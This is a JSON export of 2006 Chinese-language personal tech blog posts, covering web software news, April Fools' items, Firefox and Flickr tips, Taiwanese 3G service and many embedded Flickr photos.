    "body": "在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到有人想用 ajax 發展一套只用 Browser 編輯的 Editor，取代 <a href=\"http://office.microsoft.com/\" rel=\"tag\">Microsoft Office</a> 裡的 Word：<a href=\"http://slashdot.org/article.pl?sid=06/03/23/1923248\">AjaxWrite to \"Compete\" with MS Word</a>。\r\n\r\n這套軟體 (?) 叫 <a href=\"http://www.linspire.com/ajaxwrite.php\" rel=\"tag\">ajaxWrite</a>，是由 <a href=\"http://www.michaelrobertson.com/\" rel=\"tag\">Michael Robertson</a> 所搞出來的 (errr... 看了一下，他搞了不少東西出來...)。\r\n\r\n<a href=\"http://www.linspire.com/ajaxwrite.php\" rel=\"tag\">ajaxWrite</a> 目前還在測試，我在 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> (on Mac) 上測試發現問題很多，像是選單的部份怎麼選都選不到 :/ <del>另外功能也太少了，我想要調整每個段落前的縮排 (很基本的功能) 也不行</del> (在 Windows 上可以利用選單的部分做到)。\r\n\r\n晚點到 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> on Windows 上測試看看...\r\n\r\n<strong>Update</strong>：PDF 輸出也有些問題，不知道跟我文件裡面有中文有沒有關係...。",
    "title": "用 ajax 取代 Microsoft Word - ajaxWrite"
  },
  {
    "id": "471",
    "body": "<a href=\"http://www.apple.com/\" rel=\"tag\">Apple</a> 在這十年來的 Keynote (事實上還放了 1984 的 Macintosh) 與廣告可以透過 <a href=\"http://www.bittorrent.com/\" rel=\"tag\">Bittorrent</a> 下載：<a href=\"http://thepiratebay.org/details.php?id=3462114&fl\">The Complete Apple Keynote Collection</a>。(from <a href=\"http://digg.com/\" rel=\"tag\">Digg</a>：<a href=\"http://digg.com/apple/Download_the_complete_Apple_keynote_event_archive_1996_-_2006.\">Download the complete Apple Keynote archive 1996 - 2006.</a>)\r\n\r\n不過目前好像連不到 tracker，我是透過 DHT + Peer Exchange 得到其他的 Node...\r\n\r\n<strong>Update</strong>：種子的速度好像有點慢 XD 看起來大家都在等他丟資料出來？\r\n\r\n<strong>Update</strong>：真不是普通慢，十個小時丟出 16%... 還好上面蠻多蠻有耐心的 XD",
    "title": "Apple Keynote"
  },
  {
    "id": "472",
    "body": "來猜看看今年 4/1 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 會做什麼：<a href=\"http://blog.outer-court.com/archive/2006-03-26.html#n67\">Google's April Fools 2006</a>。\r\n\r\n兩年前的 4/1 是 <a href=\"http://gmail.com/\" rel=\"tag\">Gmail</a>，當時大家以為是愚人節新聞，結果就繼續下去了 XD 一年前是 Gmail Infinitely (變成 2GB)，今年呢？:p",
    "title": "今年的 4/1"
  },
  {
    "id": "473",
    "body": "<a href=\"http://www.flickr.com/photos/dnorman/116371729/\"><img src=\"http://static.flickr.com/19/116371729_258b8368db.jpg\" alt=\"Plastic Bus Seat Back\" /></a>",
    "title": "Plastic Bus Seat Back"
  },
  {
    "id": "474",
    "body": "有沒有修改 <code>firefox.js</code> 或是其他類似的神祕做法，可以讓網頁固定大一個等級？(也就是不用每次都去按 <code>Ctrl</code>-<code>+</code>)\r\n\r\n我猜應該是有，印象中有 Local-site CSS 這種東西可以惡搞，不過我在 Mac 上找不到放在哪裡 XD\r\n\r\nPS：設定最小字形的方法我知道，我不要那個功能...\r\n\r\n<strong>Update</strong>：<a href=\"http://hlb.yichi.org/blog/\" rel=\"tag\">布丁大長輩</a> 提供了下面的解法：\r\n<blockquote>20:16 &lt;@hlb_&gt; <a href=\"http://www.squarefree.com/userstyles/user-style-sheets.html\">http://www.squarefree.com/userstyles/user-style-sheets.html</a>\r\n20:16 &lt;@hlb_&gt; userContent.css\r\n20:16 &lt;@gslin&gt; :D\r\n20:17 &lt;@hlb_&gt; web dev toolbar 有 apply 功能\r\n20:17 &lt;@hlb_&gt; 我不知道是不是 apply 之後就萬事 ok.</blockquote>\r\n晚點試看看 :p\r\n\r\nPS：其實我只是要抱怨 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 的字太小，年紀大了看起來很吃力 XD\r\n\r\n<strong>Update</strong>：剛剛發現 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 的 CSS 是用相對大小，但是在 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 的設定裡，不同語系的 Default Font Size 是獨立的。我只設定到 Traditional Chinese 的部分，而 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 當然是用 Western，都設定 18 以後就好了。",
    "title": "問個 Firefox 的問題"
  },
  {
    "id": "475",
    "body": "由於 <a href=\"http://www.apple.com/macmini/\" rel=\"tag\">Mac Mini</a> 的鍵盤與滑鼠必須用 USB 介面，所以我平常是另外接一組 USB 鍵盤與滑鼠，螢幕的部分則是共用 (要用的時候拔過來拔過去)，而 KVM 就放在旁邊涼快 XD\r\n\r\n剛剛去吃飯的時候經過 <a href=\"http://www.nova.com.tw/\" rel=\"tag\">NOVA</a>，進去書耕晃的時候發現有 USB 轉 PS2 的設備 (USB 1.1，對鍵盤滑鼠應該是相當夠用 XD)，看到有支援 <a href=\"http://www.apple.com/macosx/\" rel=\"tag\">Mac OS X</a> 就買回來裝，果然可以用 XD\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/118149672/\"><img src=\"http://static.flickr.com/43/118149672_d0246125e4.jpg\" alt=\"\" /></a>\r\n\r\n於是就把 KVM 接上去，把本來接的那組鍵盤滑鼠收起來...\r\n\r\n<strong>Update</strong>：在 <a href=\"http://www.mren.com.tw/\" rel=\"tag\">名人</a> 那邊找到圖了：<a href=\"http://www.mren.com.tw/?path=%2Fproduct%2Fshow.php3%3Fid%3D041054809000\">金盛科技 USB to PS2/鍵盤,滑鼠,條碼機/一般</a>。",
    "title": "USB 轉 PS2 的轉接頭"
  },
  {
    "id": "476",
    "body": "在某 Channel 看到的：\r\n<blockquote>11:54 &lt;@i&gt; <a href=\"http://groups.yahoo.com/group/vimannounce/message/152\">http://groups.yahoo.com/group/vimannounce/message/152</a>\r\n12:00 &lt;@B&gt; 新的vim可以想像可能會更肥？ :p\r\n12:06 &lt;@i&gt; 可能 embed 了 <a href=\"https://www.google.com/adsense/\" rel=\"tag\">google ad</a> 啊啊啊啊啊\r\n12:11 &lt;@B&gt; 呃.... 不要啊啊啊啊\r\n12:13 &lt;@p&gt; 在蘇黎世也有 <a href=\"http://www.google.com/\" rel=\"tag\">google</a> 呀....</blockquote>",
    "title": "vim 的作者去 Google"
  },
  {
    "id": "477",
    "body": "<a href=\"http://www.flickr.com/photos/scriptingnews/117155606/\"><img src=\"http://static.flickr.com/29/117155606_0caafe9e09.jpg\" alt=\"Young Bill Gates, Mitch Kapor and Fred Gibbons\" /></a>",
    "title": "Young Bill Gates, Mitch Kapor and Fred Gibbons"
  },
  {
    "id": "478",
    "body": "<a href=\"http://www.flickr.com/photos/gms/116279337/\"><img src=\"http://static.flickr.com/47/116279337_1ef07f9d97.jpg\" alt=\"A church and a tree\" /></a>",
    "title": "A church and a tree"
  },
  {
    "id": "479",
    "body": "<a href=\"http://www.flickr.com/photos/doctabu/117954591/\"><img src=\"http://static.flickr.com/43/117954591_299077e65d.jpg\" alt=\"Using more iPod Book\" /></a>",
    "title": "Using more iPod Book"
  },
  {
    "id": "480",
    "body": "我覺得是我的設備有問題 XD\r\n\r\n啊，還是從頭講好了...\r\n\r\n在 <a href=\"http://blog.gslin.org/archives/2006/03/13/448/\">威寶 (Vibo) 的 3G 網路</a> 這篇我抱怨 <a href=\"http://www.vibo.com.tw/\" rel=\"tag\">Vibo</a> 的網路很慢，而到 <a href=\"http://blog.superd.org/\" rel=\"tag\">SuperD</a> 那邊測試發現速度不錯，加上許多人都說 <a href=\"http://www.cht.com.tw/\" rel=\"tag\">中華電信</a> 的 3G 網路不錯，於是我當時就打算要辦 <a href=\"http://www.cht.com.tw/\" rel=\"tag\">中華電信</a> 的。\r\n\r\n前幾天在鳥窩上跟長輩買到一片 3G 網卡 (Vodafone)，星期天早上就透過 <a href=\"http://www.t-cat.com.tw/\" rel=\"tag\">黑貓</a> 拿到了，當天下午去清大夜市吃晚餐的時候剛好看到光復路上面開了一家 <a href=\"http://www.cht.com.tw/\" rel=\"tag\">中華電信</a> 特約店，進去問了半天才發現 $850/month 的方案沒辦法在那邊辦，一定得去 <a href=\"http://www.cht.com.tw/ServiceCat.php?Page=ServiceCenter&CatID=265\" rel=\"tag\">中華電信服務中心</a> 辦 XD\r\n\r\n於是星期一中午就跑去 <a href=\"http://www.cht.com.tw/ServiceWeb.php?SID=18&page=ServiceMap\" rel=\"tag\">建新服務中心</a> 辦，辦完之後回到家裡就可以用了，測了一下發現還是有 150ms 的 latency，也許是我哪邊設定錯了 :/ (我記得安裝的時候選擇 Service Provider 時，我選擇 Vodafone UK，不知道跟這個有沒有關係 XD 晚點改掉看看...)\r\n\r\n當然，比起 300ms 好很多，上 BBS 時的流暢度根本不能比... 速度上可以到接近滿載，比 <a href=\"http://www.vibo.com.tw/\" rel=\"tag\">Vibo</a> 好太多了。也許哪天來測看看 300Kbps 的網路電視可不可以看？:p\r\n\r\nPS：發一般區段的 IP 而非 Private IP，查了一下發現是 CHT-Mobile (而非 <a href=\"http://www.hinet.net/\" rel=\"tag\">HiNet</a>)，連 DNS 反解的授權都沒申請 XD\r\n\r\n<strong>Update</strong>：<a href=\"http://blog.superd.org/\" rel=\"tag\">SuperD</a> 說他在 <a href=\"http://www.nthu.edu.tw/\" rel=\"tag\">清大</a> 宿舍裡面測也是 150ms，應該不是我的問題？XD",
    "title": "中華電信 (CHT) 的 3G 網路"
  },
  {
    "id": "481",
    "body": "只給 link：<a href=\"http://www.wretch.cc/album/show.php?i=Tacnoom&b=9&f=1882725955&p=1\">http://www.wretch.cc/album/show.php?i=Tacnoom&b=9&f=1882725955&p=1</a>。",
    "title": "「就從這裡開始侵略吧」"
  },
  {
    "id": "482",
    "body": "打開 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 又看到一堆 <a href=\"http://www.xuite.net/\" rel=\"tag\">Xuite</a> 的 RSS feed，這是代表什麼呢... (修好了？)",
    "title": "Xuite 的 RSS 又來了..."
  },
  {
    "id": "483",
    "body": "終於可以把洗好的鞋子拿出去曬了...\r\n\r\n(吹風機吹了半個小時還是沒乾，!@#$%^...)\r\n\r\nPS：據說某位不願意具名的 <a href=\"http://blog.yam.com/hrwang/\" rel=\"tag\">汪長輩</a> 洗完車以後就會開始下雨，上禮拜跑去洗車...",
    "title": "久違的太陽"
  },
  {
    "id": "484",
    "body": "<a href=\"http://www.flickr.com/photos/julycardiff/118820537/\"><img src=\"http://static.flickr.com/42/118820537_722f6957b5.jpg\" alt=\"\" /></a>",
    "title": "圖"
  },
  {
    "id": "485",
    "body": "我平常不太用 <a href=\"http://www.adobe.com/\" rel=\"tag\">Adobe</a> 的 PDF Reader (太肥大了)，通常我會用 <a href=\"http://www.foxitsoftware.com/pdf/rd_intro.php\" rel=\"tag\">Foxit Reader</a>，不過還是會裝起來，用在 <a href=\"http://www.foxitsoftware.com/pdf/rd_intro.php\" rel=\"tag\">Foxit Reader</a> 有問題的時候。\r\n\r\n不過 <a href=\"http://www.adobe.com/products/acrobat/\" rel=\"tag\">Adobe Acrobat Reader</a> 要裝 Download Manager (我裝完就移除掉)，而且還會有煩人的 Yahoo! Toolbar，於是就有人挖出來其實有企業版可以裝，直接下載、沒有 Yahoo! Toolbar：<a href=\"http://digg.com/software/Download_Adobe_Reader_Enterprise_Edition\">Download Adobe Reader Enterprise Edition</a>。",
    "title": "Adobe Reader 企業版"
  },
  {
    "id": "486",
    "body": "結果 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 裡面又冒出一卡車...",
    "title": "Xuite 爛完換 MSN Space 爛..."
  },
  {
    "id": "487",
    "body": "<a href=\"http://www.flickr.com/photos/shizhao/118718875/\"><img src=\"http://static.flickr.com/39/118718875_354420dace.jpg\" alt=\"SV101549\" /></a>",
    "title": "SV101549"
  },
  {
    "id": "488",
    "body": "<a href=\"http://www.flickr.com/photos/flikr/119650493/\"><img src=\"http://static.flickr.com/46/119650493_86f3ef4399.jpg\" alt=\"flikr1097\" /></a>\r\n\r\n<a href=\"http://www.flickr.com/photos/flikr/61746952/\"><img src=\"http://static.flickr.com/29/61746952_ac943019e5.jpg\" alt=\"stretching\" /></a>\r\n\r\n<a href=\"http://www.flickr.com/photos/flikr/61745312/\"><img src=\"http://static.flickr.com/25/61745312_2cccce150f.jpg\" alt=\"animation4\" /></a>",
    "title": "用程式跑出來的圖..."
  },
  {
    "id": "489",
    "body": "在 <a href=\"http://www.schneier.com/blog/\" rel=\"tag\">Bruce Schneier</a> 那邊看到一個有趣的軟體：<a href=\"http://www.schneier.com/blog/archives/2006/03/monolith.html\">Evading Copyright Through XOR</a>。\r\n\r\n<a href=\"http://monolith.sourceforge.net/\" rel=\"tag\">Monolith</a> 的目的就是想要幹逃避法律漏洞，進而達到盜版的目的。假設我有兩份大小一樣的檔案，分別是 A 與 B。於是我就可以用 XOR (Exclusive OR) 的方法產生第三個檔案 C：<a href=\"http://monolith.sourceforge.net/\" rel=\"tag\">Monolith</a> 的作者群認為，第三個檔案 C 的 owner (應該是指【智慧才產權的擁有人】) 不屬於前面兩者！於是我就可以拿 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 光碟 ISO Image 當 A，<a href=\"http://www.microsoft.com/\" rel=\"tag\">微軟</a> Windows XP 光碟當 B，產生出 C (被叫做 Mono files) 之後【合法地】丟出來。\r\n\r\n我跟 <a href=\"http://www.schneier.com/blog/\" rel=\"tag\">Brcue Schneier</a> 的想法類似：不論是以【未取得授權的衍生著作】或是【認定這種方式與複製等價】，我相信在法院裡都有很大的機會判定有罪。",
    "title": "Monolith"
  },
  {
    "id": "490",
    "body": "在 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 看到 <a href=\"http://digg.com/links/Interesting_Facts_About_Domain_Names_-_Analysis\">Interesting Facts About Domain Names - Analysis</a> 這篇，原文在 <a href=\"http://www.yafla.com/dforbes/2006/03/29.html\">Interesting Facts About Domain Names</a> 這裡。\r\n\r\n這篇文章分析了 .com 的資料，然後畫一些有趣的統計數據，像是：\r\n<ul>\r\n\t<li>長度分析：<ul><li>兩個字、三個字都被申請完了，四個字的也用掉快 80%。</li><li>所有註冊的 Domain 中，高峰是 11 ~ 13 個字。(這些蟑螂真努力...)</li></ul></li>\r\n\t<li>字彙分析：<ul><li>在 <a href=\"http://www.census.gov/genealogy/names/names_files.html\">1990 Census Name Files</a> 裡所有的名字都被註冊掉了，但如果是 Full Name 的部分，則大約在 85% ~ 90%。</li><li>對 \"Love\" 以及 \"Sex\" 這兩個字分析出現的次數。</li><li>字母部分，出現最多開頭的是 \"s\"，最少的是 \"q\"。</li><li>數字部分，出現最多開頭的是 1。</li><li>大公司名稱的部分，\"Google\" 出現最多，再來是 \"Yahoo\" 以及 \"Microsoft\"</li></ul></li>\r\n</ul>\r\n分析起來還蠻有趣的 XD",
    "title": "對 .com 的分析"
  },
  {
    "id": "491",
    "body": "<a href=\"http://www.flickr.com/photos/monster/120032377/\"><img src=\"http://static.flickr.com/49/120032377_255a10154d.jpg\" alt=\"Red Canopy\" /></a>",
    "title": "Red Canopy"
  },
  {
    "id": "492",
    "body": "<a href=\"http://www.flickr.com/photos/flikr/120393254/\"><img src=\"http://static.flickr.com/39/120393254_f26a9b08d1.jpg\" alt=\"flikr1102\" /></a>",
    "title": "flikr1102"
  },
  {
    "id": "493",
    "body": "<a href=\"http://www.flickr.com/photos/gslin/120646621/\"><img src=\"http://static.flickr.com/40/120646621_70e1d26c7f.jpg\" alt=\"\" /></a>",
    "title": "憤怒！"
  },
  {
    "id": "494",
    "body": "今天應該會看到一堆愚人節新聞吧...",
    "title": "愚人節"
  },
  {
    "id": "495",
    "body": "小睡睡的成分如下：\r\n<ul>\r\n\t<li><strong>戀童癖：42.28%</strong></li>\r\n\t<li>恨：17.34%</li>\r\n\t<li>義理巧克力：15.97%</li>\r\n\t<li>愛：12.73%</li>\r\n\t<li>絨毛：6.59%</li>\r\n\t<li>腦殘：5.10%</li>\r\n</ul>\r\n重要參考文獻：<a href=\"http://slzzp.blogspot.com/2006/03/blog-post_114380126358501628.html\">其實，這種童年早在十幾年前就有了...</a>。",
    "title": "超準 XD"
  },
  {
    "id": "496",
    "body": "<a href=\"http://www.flickr.com/photos/brunoat/119209200/\"><img src=\"http://static.flickr.com/52/119209200_7785bface2.jpg\" alt=\"Trayectos / Journeys\" /></a>",
    "title": "Trayectos / Journeys"
  },
  {
    "id": "497",
    "body": "<a href=\"http://www.flickr.com/photos/caro/120289668/\"><img src=\"http://static.flickr.com/55/120289668_d0fe39c8e0.jpg\" alt=\"i love you but i've chosen darkness.\" /></a>",
    "title": "i love you but i've chosen darkness."
  },
  {
    "id": "498",
    "body": "<a href=\"http://www.flickr.com/photos/weston/120320952/\"><img src=\"http://static.flickr.com/52/120320952_7929e81b53.jpg\" alt=\"Lets do it!\" /></a>",
    "title": "Lets do it!"
  },
  {
    "id": "499",
    "body": "看起來是愚人節的故事：<a href=\"http://slashdot.org/article.pl?sid=06/03/31/1644225\">Slashdot Design Changes for Wider Appeal</a>。不過顏色其實還蠻好看的啊... (粉紅偏紫？)\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/121010120/\"><img src=\"http://static.flickr.com/56/121010120_28a98a9e5e.jpg\" alt=\"\" /></a>\r\n\r\n<strong>Update</strong>：<a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 上：<a href=\"http://digg.com/technology/OMG_Slashdot_Goes_Pink\">OMG Slashdot Goes Pink</a>。",
    "title": "粉紅 Slashdot"
  },
  {
    "id": "500",
    "body": "科學研究有很多時候是態度的問題：對於已知的事情要思考過才相信，換句話說，要學會懷疑。而對於未知的事情，要有開放的心胸，去容納任何意見，再反覆思考。\r\n\r\n當大眾 (以及教會) 認為「太陽繞地球轉」，伽利略經過觀察而得知「地球繞太陽轉」，他以死來喚醒世人的注意，在三百年後教會對於這項行為道歉。\r\n\r\nPS：看到某些文章有感。",
    "title": "科學"
  },
  {
    "id": "501",
    "body": "愚人節新聞？我不曉得啦 :p\r\n\r\n從當初 <a href=\"http://www.wretch.cc/\" rel=\"tag\">無名小站</a> 搬出交大時就聽 <a href=\"http://www.pixnet.net/\" rel=\"tag\">far</a> 講 <a href=\"http://www.pixnet.net/\" rel=\"tag\">Pixnet</a> 也要搬出去，講到現在才搬出去：<a href=\"http://www.neo.com.tw/archives/000880.html\">從網路歷史看 Blog Service Provider</a>。\r\n\r\n目前看起來是放在台固機房 (<a href=\"http://www.pixnet.net/\" rel=\"tag\">www.pixnet.net</a> 目前是 61.31.202.212)，看了一下目前的 IP address 配置：\r\n<blockquote><code>61.31.202.209: mail.pixnet.net\r\n61.31.202.210: mail.pixnet.tw\r\n61.31.202.211: upload.pixnet.net\r\n61.31.202.212: www.pixnet.net\r\n61.31.202.213: pixdata.pixnet.tw\r\n61.31.202.214: db.pixnet.tw\r\n61.31.202.215: proxy.pixnet.tw\r\n61.31.202.216: rproxy.pixnet.tw</code></blockquote>\r\n呃... 這不是擺明請大家去打某台資料庫嗎 =_=\r\n\r\n<strong>Update</strong>：剛剛發現 <a href=\"http://pic.twbbs.org/user.php?id=chunhan\" rel=\"tag\">chunhan 大長輩</a> 的 <a href=\"http://0rz.net/\" rel=\"tag\">0rz.net</a> 也搬到同一塊去了 :p",
    "title": "PIXNET 搬出交大"
  },
  {
    "id": "502",
    "body": "看到 <a href=\"http://pank.org/blog/\" rel=\"tag\">Pank</a> 這篇 <a href=\"http://pank.org/blog/archives/000833.html\">數位相片與傳統相片</a>：\r\n<blockquote>可善用網路相簿(如: <a href=\"http://www.flickr.com/\" rel=\"tag\">flickr</a>), 幫您備份, 但畢竟不是每張相片都適合放網路上.</blockquote>\r\n這點不太對，如果你不願意公開，那麼你可以傳到 <a href=\"http://www.flickr.com/\" rel=\"tag\">Flickr</a> 上並設定 Private，我現在想不出來有什麼情況會造成問題。\r\n\r\n另外我要介紹在 Unix 下的一個與 <a href=\"http://www.flickr.com/\" rel=\"tag\">Flickr</a> 有關的工具，之前推薦 <a href=\"http://blog.superd.org/\" rel=\"tag\">SuperD</a> 與 <a href=\"http://edwardc.org/\" rel=\"tag\">edwardc</a> 用，頗受好評：<a href=\"http://search.cpan.org/dist/Flickr-Upload/\" rel=\"tag\">flickr_upload</a>，在 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 上可以透過 <a href=\"http://www.freebsd.org/ports/\" rel=\"tag\">ports</a> 安裝 <a href=\"http://www.freshports.org/www/p5-Flickr-Upload/\" rel=\"tag\">www/p5-Flickr-Upload</a>。\r\n\r\n裝完以後，你要授權 <a href=\"http://search.cpan.org/dist/Flickr-Upload/\" rel=\"tag\">Flickr::Upload</a> 可以傳照片到你的帳號，於是有下列步驟要做：\r\n<ul>\r\n\t<li>先用瀏覽器登入到 <a href=\"http://www.flickr.com/\" rel=\"tag\">Flickr</a>。</li>\r\n\t<li>用下列指令產生一組認證用的 URL：<blockquote><code>flickr_upload --auth</code></blockquote>產生以後，將該組 URL 丟進瀏覽器裡，此時 <a href=\"http://www.flickr.com/\" rel=\"tag\">Flickr</a> 會問你同不同意，請選擇同意。</li>\r\n\t<li>當 <a href=\"http://www.flickr.com/\" rel=\"tag\">Flickr</a> 告訴你授權成功後，你就可以回到原來 <code>flickr_upload</code> 的畫面繼續按 <code>Enter</code>，此時他會告訴你一串十六進位的 <code>auth_token</code> (像是 123456-1234567890abcdef)，請把這串東西放到 <code>~/.flickrrc</code> 裡，記得把檔案權限設為 600：<blockquote><code># Flickr::Upload Auth Token\r\nauth_token=123456-1234567890abcdef</code></blockquote></li>\r\n</ul>\r\n接下來應該就可以直接用了，如果直接輸入 <code>flickr_upload</code> 就可以看到說明，另外舉幾個常用的例子：\r\n<ul>\r\n\t<li><code>flickr_upload --tag 'taiwan hsinchu nctu 20060401 200604 2006 April' *.JPG</code> (<code>--tag</code> 支援中文，不過要用 UTF-8)</li>\r\n\t<li><code>flickr_upload --tag 'temptag1' --public 0 --friend 0 --family 0 *.jpg</code> (接下來你可以透過 <code>temptag1</code> 這個 tag，利用批次功能整理檔案)</li>\r\n</ul>",
    "title": "數位相片與 Flickr"
  },
  {
    "id": "503",
    "body": "這是 <a href=\"http://www.flickr.com/\" rel=\"tag\">Flickr</a> 愚人節搞笑嗎 =_=\r\n\r\n在 <a href=\"http://www.flickr.com/explore/\">Interesting Flickr Images from the Last 7 Days</a> 的 RSS 上已經看到幾十隻貓了，是很可愛啦，可是出現的這麼頻繁讓我總是覺得是 4/1 的關係 =_=",
    "title": "一整天的貓"
  },
  {
    "id": "504",
    "body": "2006/4/1，大胖子 Scoble 說他要換工作去 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a>：<a href=\"http://scobleizer.wordpress.com/2006/04/01/announcement-im-going-to-google/\">Announcement, I’m going to Google</a>。",
    "title": "大胖子說要去 Google"
  },
  {
    "id": "505",
    "body": "在 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 看到 <a href=\"http://en.wikipedia.org/\" rel=\"tag\">Wikipedia</a> 有整理今年 4/1 的新聞：<a href=\"http://digg.com/links/List_of_the_April_Fools_Jokes_for_2006\">List of the April Fools Jokes for 2006</a> (<a href=\"http://digg.com/\" rel=\"tag\">Digg</a>)、<a href=\"http://en.wikipedia.org/wiki/April_1,_2006\">April 1, 2006</a> (<a href=\"http://en.wikipedia.org/\" rel=\"tag\">Wikipedia</a>)。\r\n\r\n當然，目前這份列表還在用力增加... 這種事情在大英百科全書上面是不會有的，而且更新的速度也不是傳統媒體跟的上的 :p",
    "title": "4/1 的資訊"
  },
  {
    "id": "506",
    "body": "居然有人想起拿 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 2.x 來挑逗大家...：<a href=\"http://lists.freebsd.org/pipermail/freebsd-announce/2006-April/001055.html\">FreeBSD 2.2.9 Released!</a>：\r\n<blockquote>It is my great pleasure and privilege to announce the availability of FreeBSD 2.2.9-RELEASE.  This release is the culmination of SEVENTY-SEVEN months of tireless work by the FreeBSD developers, users, their children, and their pets.  Significant features in this release:</blockquote>",
    "title": "FreeBSD 2.2.9 Released!"
  },
  {
    "id": "507",
    "body": "聽說大潤發賣的統一布丁，十二個只要 NTD$90。\r\n\r\n聽說 <a href=\"http://slzzp.blogspot.com/\" rel=\"tag\">slzzp</a> 很會吃布丁。\r\n\r\n聽說 <a href=\"http://slzzp.blogspot.com/\" rel=\"tag\">slzzp</a> 在 <a href=\"http://osdc.tw/\" rel=\"tag\">OSDC</a> 有一個 Session 要講。\r\n\r\nPS：我什麼都沒有暗示喔... A_A",
    "title": "大潤發、slzzp、布丁、OSDC"
  },
  {
    "id": "508",
    "body": "<a href=\"http://www.flickr.com/photos/jpstanley/120587031/\"><img src=\"http://static.flickr.com/49/120587031_aad9180aeb.jpg\" alt=\"Earthshine\" /></a>\r\n\r\n<a href=\"http://www.flickr.com/photos/juanjaen/119757878/\"><img src=\"http://static.flickr.com/55/119757878_e18a8fc548.jpg\" alt=\"imatgeEGP1046\" /></a>",
    "title": "日蝕"
  },
  {
    "id": "509",
    "body": "<a href=\"http://www.flickr.com/photos/allenhsu/121308786/\"><img src=\"http://static.flickr.com/46/121308786_8d0df7f7a6.jpg\" alt=\"阿里山\" /></a>",
    "title": "阿里山"
  },
  {
    "id": "510",
    "body": "剛看關於 <a href=\"http://www.urmap.com/\" rel=\"tag\">UrMap</a> 的兩則文章：\r\n<ul>\r\n\t<li><a href=\"http://www.yuping.idv.tw/archives/2006-04-03/39\">UrMap開始出現廣告</a></li>\r\n\t<li><a href=\"http://blog.yam.com/ixblog/archives/1360410.html\">UrMap, Ureyeball, and Mymoney</a></li>\r\n</ul>\r\n我記得廣告跑出來一陣子了吧？而且廣告... 一點都不友善 -_-\r\n<ul>\r\n\t<li>廣告會突然出現，然後整個畫面被拉過去 !@#$%^...</li>\r\n\t<li>廣告會蓋到地名 !@#$%^... (難道就不能設個透明度之類的嗎？)</li>\r\n\t<li>廣告按 close 以後還是會出來 -_-</li>\r\n</ul>\r\n拿 <a href=\"http://greasemonkey.mozdev.org/\" rel=\"tag\">Greasemonkey</a> 改了半天沒想到怎麼改，於是從那天開始我就沒用 <a href=\"http://www.urmap.com/\" rel=\"tag\">UrMap</a> 了...\r\n\r\nWeb 2.0 應用最重要的是「人」，麻煩做的人性化一點 =_=",
    "title": "UrMap 廣告"
  },
  {
    "id": "511",
    "body": "<a href=\"http://www.flickr.com/photos/si08han/120952327/\"><img src=\"http://static.flickr.com/49/120952327_c2bc9f8536.jpg\" alt=\"Happy Birthday Apple\" /></a>",
    "title": "Happy Birthday Apple"
  },
  {
    "id": "512",
    "body": "<a href=\"http://www.flickr.com/photos/marko_k/119243456/\"><img src=\"http://static.flickr.com/34/119243456_cd307143dd.jpg\" alt=\"reflection\" /></a>",
    "title": "reflection"
  },
  {
    "id": "513",
    "body": "<a href=\"http://www.flickr.com/photos/colloidfarl/121258081/\"><img src=\"http://static.flickr.com/26/121258081_09cbedabd0.jpg\" alt=\"bakhawan\" /></a>",
    "title": "bakhawan"
  },
  {
    "id": "514",
    "body": "<a href=\"http://www.apple.com/\" rel=\"tag\">Apple</a> 也推出 <a href=\"http://www.apple.com/macosx/\" rel=\"tag\">Mac OS X</a> 與 <a href=\"http://www.microsoft.com/windowsxp/\" rel=\"tag\">Windows XP</a> 的 Boot Loader 了：<a href=\"http://www.apple.com/macosx/bootcamp/\" rel=\"tag\">Boot Camp</a>。\r\n\r\n可是整個畫面看起來好灰暗，代表 <a href=\"http://www.apple.com/imac/\" rel=\"tag\">iMac</a> 的墮落嗎？XD\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/123849157/\"><img src=\"http://static.flickr.com/35/123849157_d17f6fc031.jpg\" alt=\"\" /></a>\r\n\r\n<strong>Update</strong>：<a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 上報導了 <a href=\"http://www.apple.com/macosx/bootcamp/\" rel=\"tag\">Boot Camp</a> 也可以開 <a href=\"http://www.linux.org/\" rel=\"tag\">Linux</a> 的消息：<a href=\"http://digg.com/apple/Apple_s_BootCamp_boots_Linux_%28now_with_pics%29\">Apple's BootCamp boots Linux! (now with pics)</a>。",
    "title": "Boot Camp"
  },
  {
    "id": "515",
    "body": "<a href=\"http://www.flickr.com/photos/tomooka/122506433/\"><img src=\"http://static.flickr.com/37/122506433_c1bf09a38e.jpg\" alt=\"p_0279\" /></a>",
    "title": "p_0279"
  },
  {
    "id": "516",
    "body": "在 <a href=\"http://www.boingboing.net/\" rel=\"tag\">Boing Boing</a> 看到的：<a href=\"http://www.boingboing.net/2006/04/05/erm_watch_what_kind_.html\">Erm, watch *what* kind of free videos on CNN.com?</a>。<a href=\"http://www.cnn.com/\" rel=\"tag\">CNN</a> 的網站管理員不知道在做什麼，該不會在測試吧 XD\r\n\r\n<img src=\"http://static.flickr.com/37/123977737_5317a6cd66.jpg\" alt=\"\" />",
    "title": "CNN 的影片..."
  },
  {
    "id": "517",
